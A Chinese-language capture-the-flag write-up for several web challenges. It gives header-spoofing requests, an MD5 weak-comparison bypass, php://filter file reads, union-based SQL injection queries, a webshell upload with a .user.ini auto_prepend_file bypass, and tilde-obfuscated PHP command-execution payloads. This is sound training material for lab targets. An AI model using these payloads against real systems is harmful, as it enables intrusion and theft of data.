The Beginning
题目描述:梦开始的地方
题目页面:
想右击查看网页源代码,但是发现不行
这时按F12
发现flag
在url前面加view-source也可以查看网页源代码
http标头
题目描述:web签到
题目页面:
点击开始挑战
题目要求:要在发售第一时间凌晨0点0时0分才能进下一关(注意date格式)
这个题应该是考察http报文的知识点
用burp抓包改包
在报文处加一条:Date: Tue, 20 Aug 2024 00:00:00 GMT
题目要求用BlackMonkey浏览器
User-Agent: BlackMonkey
题目有要求BlackMonkey曲奇
众所周知曲奇是cookie
所以直接cookie=BlackMonkey
题目又要求从wukong发送请求信息
Referer:wukong
题目又要求ip必须是本地的
X-Forwarded-For:127.0.0.1
拿下flag
PHP躲猫猫
题目页面:
GET方式传一个/?NSS=1
还要再用POST方法传NSS=1
题目让我们去./getfile.php看看
访问一下
发现题目源码 先是MD5绕过再文件包含读取
这里不能用数组,弱类型 所以/?CTF=s155964671a&ATM=s214587387a
成功绕过
接下来文件包含读取flag
一开始以为可以直接filter协议读取,但是发现不行
发现还有一段代码
POST传NSS=I love CTF
发现有提示,去include看看
include包含了一个hello.php
filter读取一下
base64解码一下
去搜了一下发现是编码的问题
NSS=php://filter/convert.iconv.utf-8.utf-7/resource=/f1ag
成功读取flag
ez_sql
sql注入的话就先看闭合方式吧
‘报错 用#注释一下后面的语句
发现ok 可以开始注入了
先看有几个字段吧
1’order by 4#
未报错
1‘order by 5#
报错,确定字段数为5
查询数据库名:-1' union select 1,2,3,database()#
database为ctf
查表:-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
查列:-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='flag'#
查内容:-1' union select 1,2,3,group_concat(id,0x7c,id,0x7c,data) from flag#
成功拿到flag
UploadBaby
看题目名字知道是个文件上传的题目,随便选一个文件上传,用bup抓包改包
上传成功,路径为/uploads/shell.php
访问一下
可以rce了
接下来读取flag
成功拿下flag
怎么多了个没用的php文件
题目描述:notion.php 是一个没啥用的php文件,不知道被设计出来是干什么的,出题人傻啦?
看题目描述notion.php应该是有用的,在/uploads目录下面
和上个题目一样随便上传一个文件,然后用burp抓包改包
发现该题目对文件后缀有过滤,这里我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell
auto_prepend_file=shell.jpg
文件上传成功
shell.jpg也上传成功
接下来就是执行webshell了
但是得去notion.php下去执行
后面试了下发现POST被过滤了,只能用GET
发现可以执行命令了,读取flag
成功拿下flag
The future
题目描述::做不来?那就跟我玩躲猫猫游戏吧,找到我了我就跟你说。话说那个真的只是一个干扰项吗?
看题目源码发现可以直接读取文件
试试读取/flag,发现成功读取
青春莫尔斯冲锋狙不会梦到pro速帕里46轮椅人
题目让我们rce,看了看过滤发现没过滤~,试一下取反
成功rce
phpinfo()里面有flag
把system("ls");取反试一下
(~%8C%86%8C%8B%9A%92)(~%93%8C);
system("cat /flag"); (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
看看ip
这是一个SSTI